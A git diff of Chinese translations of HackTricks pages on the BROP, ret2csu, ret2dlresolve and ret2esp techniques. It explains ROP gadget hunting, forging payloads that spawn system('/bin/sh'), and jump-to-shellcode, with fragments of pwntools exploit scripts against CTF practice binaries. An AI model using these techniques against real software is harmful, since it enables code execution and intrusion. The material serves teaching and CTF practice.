如果**执行了 STOP**,这基本上意味着使用了一个**从堆栈中弹出 6 个寄存器**的地址。或者使用的地址也是一个 STOP 地址。
|
||||
|
||||
为了**消除最后这种选择**,执行一个类似以下的新链,它不得执行STOP小工具以确认先前的链确实弹出了6个寄存器:
|
||||
为了**消除这种可能性**,执行一个新链如下,并且必须不执行 STOP 小工具以确认之前的链确实弹出了 6 个寄存器:
|
||||
|
||||
`'A' * 偏移量 + canary + rbp + 地址`
|
||||
|
||||
知道ret2csu小工具的地址后,就可以**推断出控制`rsi`和`rdi`的小工具的地址**。
|
||||
知道 ret2csu 小工具的地址后,就可以**推断出控制 `rsi` 和 `rdi` 的小工具的地址**。
|
||||
|
||||
### 6. 查找PLT
|
||||
### 6. 找到 PLT
|
||||
|
||||
PLT表可以从0x400000或从堆栈中的**泄漏的RIP地址**(如果使用**PIE**)开始搜索。表的**条目**以16B(0x10B)分隔,当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B中的条目地址也不会崩溃**,因为这是执行的第一段代码。
|
||||
PLT 表可以从 0x400000 或从堆栈中的**泄漏 RIP 地址**(如果使用了 **PIE**)开始搜索。表的**条目**以 16B(0x10B)分隔,当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查 PLT 中的一个条目的地址 + 6B 也不会崩溃,因为这是第一个执行的代码。
|
||||
|
||||
因此,可以通过检查以下行为来找到PLT表:
|
||||
因此,可以通过检查以下行为来找到 PLT 表:
|
||||
|
||||
* `'A' * 偏移量 + canary + rbp + 地址 + STOP` -> 没有崩溃
|
||||
* `'A' * 偏移量 + canary + rbp + (地址 + 0x6) + STOP` -> 没有崩溃
|
||||
* `'A' * 偏移量 + canary + rbp + (地址 + 0x10) + STOP` -> 没有崩溃
|
||||
* `'A' * 偏移量 + canary + rbp + 地址 + STOP` -> 无崩溃
|
||||
* `'A' * 偏移量 + canary + rbp + (地址 + 0x6) + STOP` -> 无崩溃
|
||||
* `'A' * 偏移量 + canary + rbp + (地址 + 0x10) + STOP` -> 无崩溃
|
||||
|
||||
### 7. 查找strcmp
|
||||
### 7. 查找 strcmp
|
||||
|
||||
**`strcmp`**函数将寄存器**`rdx`**设置为要比较的字符串的长度。请注意,**`rdx`**是第三个参数,我们需要它**大于0**,以便稍后使用`write`泄漏程序。
|
||||
**`strcmp`** 函数将寄存器 **`rdx`** 设置为正在比较的字符串的长度。请注意,**`rdx`** 是第三个参数,我们需要它大于 0,以便稍后使用 `write` 泄漏程序。
|
||||
|
||||
可以根据其行为找到PLT中**`strcmp`**的位置,利用我们现在可以控制函数的前两个参数的事实:
|
||||
可以根据其行为在 PLT 中找到 **`strcmp`** 的位置,利用我们现在可以控制函数的前两个参数的事实:
|
||||
|
||||
* strcmp(\<非读取地址>, \<非读取地址>) -> 崩溃
|
||||
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
||||
* strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
|
||||
* strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃
|
||||
* strcmp(\<读取地址>, \<读取地址>) -> 无崩溃
|
||||
|
||||
可以通过调用PLT表的每个条目或使用**PLT慢路径**来检查这一点,该慢路径基本上包括**调用PLT表中的一个条目 + 0xb**(调用**`dlresolve`**),然后在堆栈中跟随希望探测的**条目编号**(从零开始)以扫描所有PLT条目:
|
||||
可以通过调用 PLT 表的每个条目或使用**PLT 慢路径**来检查这一点,该慢路径基本上包括调用 PLT 表中的一个条目 + 0xb(调用到 **`dlresolve`**),然后在堆栈中跟随希望探测的条目号(从零开始)以扫描所有 PLT 条目:
|
||||
|
||||
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
||||
* `b'A' * 偏移量 + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃
|
||||
* strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
|
||||
* `b'A' * 偏移量 + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃
|
||||
* strcmp(\<读取地址>, \<读取地址>) -> 无崩溃
|
||||
* `b'A' * 偏移量 + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
请记住:
|
||||
|
||||
* BROP + 0x7 指向**`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 指向**`pop RDI; ret;`**
|
||||
* PLT + 0xb 指向调用**dl\_resolve**。
|
||||
* BROP + 0x7 指向 **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 指向 **`pop RDI; ret;`**
|
||||
* PLT + 0xb 指向调用 **dl\_resolve**。
|
||||
|
||||
找到`strcmp`后,就可以将**`rdx`**设置为大于0的值。
|
||||
找到 `strcmp` 后,就可以将 **`rdx`** 设置为大于 0 的值。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,通常`rdx`将已经包含大于0的值,因此此步骤可能不是必需的。
|
||||
请注意,通常 `rdx` 将已经包含一个大于 0 的值,因此此步骤可能不是必要的。
|
||||
{% endhint %}
|
||||
### 8. 寻找Write函数或等效函数
|
||||
|
||||
最后,需要一个用于外泄数据的gadget,以便外泄二进制文件。此时可以**控制2个参数并设置`rdx`大于0**。
|
||||
最后,需要一个用于外泄数据以外泄二进制文件的gadget。此时可以**控制2个参数并设置`rdx`大于0**。
|
||||
|
||||
有3个常见的函数可以被滥用:
|
||||
|
||||
|
@ -114,7 +115,7 @@ PLT表可以从0x400000或从堆栈中的**泄漏的RIP地址**(如果使用**
|
|||
|
||||
然而,原始论文只提到了**`write`**函数,所以让我们来谈谈它:
|
||||
|
||||
当前问题是我们不知道**write函数在PLT中的位置**,也不知道**要将数据发送到我们的套接字的fd号码**。
|
||||
当前问题是我们不知道**write函数在PLT中的位置**,也不知道**要将数据发送到我们的套接字的fd号**。
|
||||
|
||||
但是,我们知道**PLT表的位置**,可以根据其**行为**找到write。我们可以与服务器创建**多个连接**,并使用**高FD**,希望它与我们的某些连接匹配。
|
||||
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本信息
|
||||
|
||||
**ret2csu**是一种黑客技术,当您试图控制一个程序但找不到通常用来操纵程序行为的**gadgets**时使用。 
|
||||
**ret2csu**是一种黑客技术,当您试图控制程序但找不到通常用于操纵程序行为的**gadgets**时使用。 
|
||||
|
||||
当一个程序使用某些库(如libc)时,它具有一些用于管理程序中不同部分如何相互通信的内置函数。在这些函数中,有一些隐藏的宝藏可以充当我们缺失的gadgets,特别是一个称为`__libc_csu_init`的函数。
|
||||
当程序使用某些库(如libc)时,它具有用于管理程序中不同部分如何通信的一些内置函数。在这些函数中,有一些隐藏的宝石可以充当我们缺失的gadgets,特别是一个称为`__libc_csu_init`的函数。
|
||||
|
||||
### \_\_libc\_csu\_init中的神奇Gadgets
|
||||
### \_\_libc\_csu\_init中的魔术Gadgets
|
||||
|
||||
在**`__libc_csu_init`**中,有两个要突出的指令序列(gadgets):
|
||||
在**`__libc_csu_init`**中,有两个要突出显示的指令序列(gadgets):
|
||||
|
||||
1. 第一个序列允许我们在几个寄存器(rbx、rbp、r12、r13、r14、r15)中设置值。这些类似于我们可以稍后使用的数字或地址的存储槽。
|
||||
1. 第一个序列允许我们在几个寄存器(rbx、rbp、r12、r13、r14、r15)中设置值。这些类似于我们可以存储稍后要使用的数字或地址的槽位。
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -47,7 +48,7 @@ mov rsi, r14;
|
|||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. 也许你不知道要写入哪个地址,而且你需要一个 `ret` 指令。请注意,第二个小工具也会以 `ret` 结尾,但你需要满足一些条件才能到达它:
|
||||
2. 也许你不知道任何地址可以写入那里,你需要一个 `ret` 指令。请注意,第二个小工具也会以 `ret` 结尾,但你需要满足一些条件才能到达它:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -61,7 +62,7 @@ ret
|
|||
```
|
||||
条件将是:
|
||||
|
||||
- `[r12 + rbx*8]` 必须指向存储可调用函数的地址(如果没有想法且没有PIE,可以直接使用 `_init` 函数):
|
||||
- `[r12 + rbx*8]` 必须指向存储可调用函数的地址(如果没有思路且没有PIE,可以直接使用 `_init` 函数):
|
||||
- 如果 `_init` 在 `0x400560`,使用 GEF 在内存中搜索指向它的指针,并使 `[r12 + rbx*8]` 成为具有指向 `_init` 的指针的地址:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
|
@ -73,13 +74,13 @@ gef➤ search-pattern 0x400560
|
|||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` 和 `rbx` 必须具有相同的值以避免跳转
|
||||
* 你需要考虑一些省略的弹出指令
|
||||
* 有一些省略的弹出指令需要考虑
|
||||
|
||||
## RDI 和 RSI
|
||||
|
||||
从 ret2csu gadget 中控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
查看此页面以获取更多信息:
|
||||
|
||||
|
@ -91,14 +92,14 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
### 使用调用
|
||||
|
||||
假设你想要进行系统调用或调用一个像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中作为参数传递特定值。通常,你会寻找直接设置这些寄存器的 gadget,但你找不到任何。
|
||||
想象一下,您想要进行系统调用或调用类似 `write()` 的函数,但需要在 `rdx` 和 `rsi` 寄存器中作为参数具有特定值。通常,您会寻找直接设置这些寄存器的 gadget,但您找不到任何。
|
||||
|
||||
这就是 **ret2csu** 发挥作用的地方:
|
||||
|
||||
1. **设置寄存器**:使用第一个 magic gadget 从堆栈中弹出值并将其放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15 中。
|
||||
2. **使用第二个 Gadget**:有了这些设置的寄存器,你可以使用第二个 gadget。这使你可以将你选择的值移动到 `rdx` 和 `rsi` 中(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 的地址的函数。
|
||||
2. **使用第二个 Gadget**:有了这些设置的寄存器,您可以使用第二个 gadget。这使您可以将您选择的值移动到 `rdx` 和 `rsi` 中(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,您可以使程序调用位于您计算并放入 `[r15 + rbx*8]` 的地址处的函数。
|
||||
|
||||
你可以在[**这里使用此技术并解释它的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用。
|
||||
您可以在[**此处使用此技术并解释它的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -123,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
请注意,之前的漏洞利用并不意味着进行RCE,而是仅仅调用一个名为`win`的函数(从标准输入中获取`win`的地址,在ROP链中调用gets并将其存储在r15中)并传递一个值为`0xdeadbeefcafed00d`的第三个参数。
|
||||
请注意,前面的漏洞利用并不意味着进行RCE,而是意味着只调用一个名为`win`的函数(从标准输入中获取`win`的地址,在ROP链中调用gets并将其存储在r15中),并将第三个参数的值设置为`0xdeadbeefcafed00d`。
|
||||
{% endhint %}
|
||||
|
||||
### 绕过调用并到达ret
|
||||
|
||||
以下漏洞利用是从[**这个页面**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)中提取的,其中使用了**ret2csu**,但是不是使用调用,而是**绕过比较并到达调用后的`ret`**:
|
||||
以下漏洞利用是从[**这个页面**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)提取的,其中使用了**ret2csu**,但是不是使用调用,而是**绕过比较并到达调用后的`ret`**:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Ret2dlresolve
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
如[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md)和[**Relro**](../common-binary-protections-and-bypasses/relro.md)页面所述,没有Full Relro的二进制文件将在首次使用时解析符号(如外部库的地址)。这种解析是通过调用函数**`_dl_runtime_resolve`**来实现的。
|
||||
如[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md)和[**Relro**](../common-binary-protections-and-bypasses/relro.md)页面中所解释的,没有 Full Relro 的二进制文件将在首次使用时解析符号(如外部库的地址)。这种解析是通过调用函数 **`_dl_runtime_resolve`** 实现的。
|
||||
|
||||
**`_dl_runtime_resolve`**函数从堆栈中获取一些结构的引用,以便**解析**指定的符号。
|
||||
**`_dl_runtime_resolve`** 函数从堆栈中获取一些结构的引用,以便**解析**指定的符号。
|
||||
|
||||
因此,可以**伪造所有这些结构**,使动态链接解析请求的符号(如**`system`**函数)并使用配置的参数(例如**`system('/bin/sh')`)进行调用。
|
||||
因此,可以**伪造所有这些结构**,使动态链接解析请求的符号(如 **`system`** 函数)并使用配置的参数(例如 **`system('/bin/sh')`**)。
|
||||
|
||||
通常,通过创建一个**初始ROP链调用`read`**来伪造所有这些结构,然后将**结构**和字符串**`'/bin/sh'`**传递,以便它们被read存储在已知位置,然后ROP链继续调用**`_dl_runtime_resolve`**,使其在伪造的结构中解析**`system`**的地址并使用地址调用此地址到`'/bin/sh'`。
|
||||
通常,通过创建一个**初始 ROP 链调用 `read`** 从可写内存中读取,然后传递**结构**和字符串 **`'/bin/sh'`**,使它们被 read 存储在已知位置,然后 ROP 链继续调用 **`_dl_runtime_resolve`**,让它在伪造的结构中**解析 `system`** 的地址并**调用此地址**并传递 `$'/bin/sh'` 的地址。
|
||||
|
||||
{% hint style="success" %}
|
||||
如果没有系统调用gadgets(用于使用技术,如[**ret2syscall**](rop-syscall-execv/)或[SROP](srop-sigreturn-oriented-programming/))并且没有泄漏libc地址的方法,这种技术特别有用。
|
||||
这种技术特别有用,特别是在没有系统调用 gadget(用于使用技术,如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/))以及没有泄漏 libc 地址的情况下。
|
||||
{% endhint %}
|
||||
|
||||
在视频的后半部分中查看有关此技术的详细解释:
|
||||
查看此视频,了解关于这种技术的详细解释:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
|
@ -40,12 +41,12 @@
|
|||
## 攻击摘要
|
||||
|
||||
1. 在某个位置写入伪造结构
|
||||
2. 设置`system`的第一个参数(`$rdi = &'/bin/sh'`)
|
||||
3. 在堆栈上设置要调用**`_dl_runtime_resolve`**的结构的地址
|
||||
4. 调用**`_dl_runtime_resolve`**
|
||||
5. **`system`**将被解析并使用`'/bin/sh'`作为参数调用
|
||||
2. 设置 system 的第一个参数(`$rdi = &'/bin/sh'`)
|
||||
3. 在堆栈上设置要调用 **`_dl_runtime_resolve`** 的结构的地址
|
||||
4. 调用 **`_dl_runtime_resolve`**
|
||||
5. **`system`** 将被解析并以 `'/bin/sh'` 作为参数调用
|
||||
|
||||
根据[**pwntools文档**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html),这是**`ret2dlresolve`**攻击的样子。
|
||||
根据[**pwntools 文档**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html),这是一个 **`ret2dlresolve`** 攻击的示例。
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
|
@ -65,7 +66,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
|||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## 示例
|
||||
## 例子
|
||||
|
||||
### 纯Pwntools
|
||||
|
||||
|
@ -199,4 +200,19 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。要利用它,使用bof再次调用`read`,使用`.bss`部分和更大的大小,将`dlresolve`伪造表存储在那里以加载`system`,返回到主函数并重新滥用初始bof以调用dlresolve,然后`system('/bin/sh')`。
|
||||
* 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。要利用它,利用bof调用`read`再次使用`.bss`部分和更大的大小,将`dlresolve`伪造表存储在那里以加载`system`,返回到主函数并重新滥用初始bof以调用dlresolve然后`system('/bin/sh')`。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**由于ESP(堆栈指针)始终指向堆栈顶部**,这种技术涉及将EIP(指令指针)替换为**`jmp esp`**或**`call esp`**指令的地址。通过这样做,shellcode被放置在被覆盖的EIP之后。当`ret`指令执行时,ESP指向下一个地址,恰好是shellcode存储的位置。
|
||||
**由于ESP(堆栈指针)始终指向堆栈的顶部**,这种技术涉及将EIP(指令指针)替换为**`jmp esp`**或**`call esp`**指令的地址。通过这样做,shellcode 就被放置在被覆盖的 EIP 之后。当`ret`指令执行时,ESP 指向下一个地址,恰好是 shellcode 存储的位置。
|
||||
|
||||
如果在Windows或Linux中未启用**地址空间布局随机化(ASLR)**,可以使用在共享库中找到的`jmp esp`或`call esp`指令。然而,启用[**ASLR**](../common-binary-protections-and-bypasses/aslr/)后,可能需要在受影响的程序内部寻找这些指令(您可能需要击败[**PIE**](../common-binary-protections-and-bypasses/pie/))。
|
||||
如果在 Windows 或 Linux 中未启用**地址空间布局随机化(ASLR)**,可以使用在共享库中找到的`jmp esp`或`call esp`指令。然而,如果启用了[**ASLR**](../common-binary-protections-and-bypasses/aslr/),可能需要在受影响的程序内部寻找这些指令(并且可能需要绕过[**PIE**](../common-binary-protections-and-bypasses/pie/))。
|
||||
|
||||
此外,能够将shellcode放置在**EIP损坏之后**,而不是在堆栈中间,确保在函数运行过程中执行的任何`push`或`pop`指令不会干扰shellcode。如果shellcode放置在函数堆栈的中间,可能会发生干扰。
|
||||
此外,能够将 shellcode 放置在**EIP 被破坏之后**,而不是在堆栈的中间,确保在函数运行过程中执行的任何`push`或`pop`指令不会干扰 shellcode。如果 shellcode 放置在函数堆栈的中间,可能会发生这种干扰。
|
||||
|
||||
### 空间不足
|
||||
|
||||
如果您在覆盖RIP后缺少写入空间(也许只有几个字节),可以编写一个初始的**`jmp`** shellcode,例如:
|
||||
如果在覆盖 RIP 后缺少写入空间(可能只有几个字节),可以编写一个初始的**`jmp`** shellcode,如下所示:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
### 示例
|
||||
### 例子
|
||||
|
||||
您可以在[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)中找到此技术的示例,最终利用如下:
|
||||
```python
|
||||
|
@ -51,7 +52,7 @@ pause()
|
|||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
你可以在[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)中看到这种技术的另一个示例。在未启用NX的情况下发生了缓冲区溢出,使用了一个小工具来**减少`$esp`的地址**,然后使用`jmp esp;`跳转到shellcode:
|
||||
你可以在[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)中看到这种技术的另一个示例。在没有启用NX的情况下发生了缓冲区溢出,使用了一个小工具来**减少`$esp`的地址**,然后使用`jmp esp;`跳转到shellcode:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
|
@ -96,7 +97,7 @@ target.interactive()
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
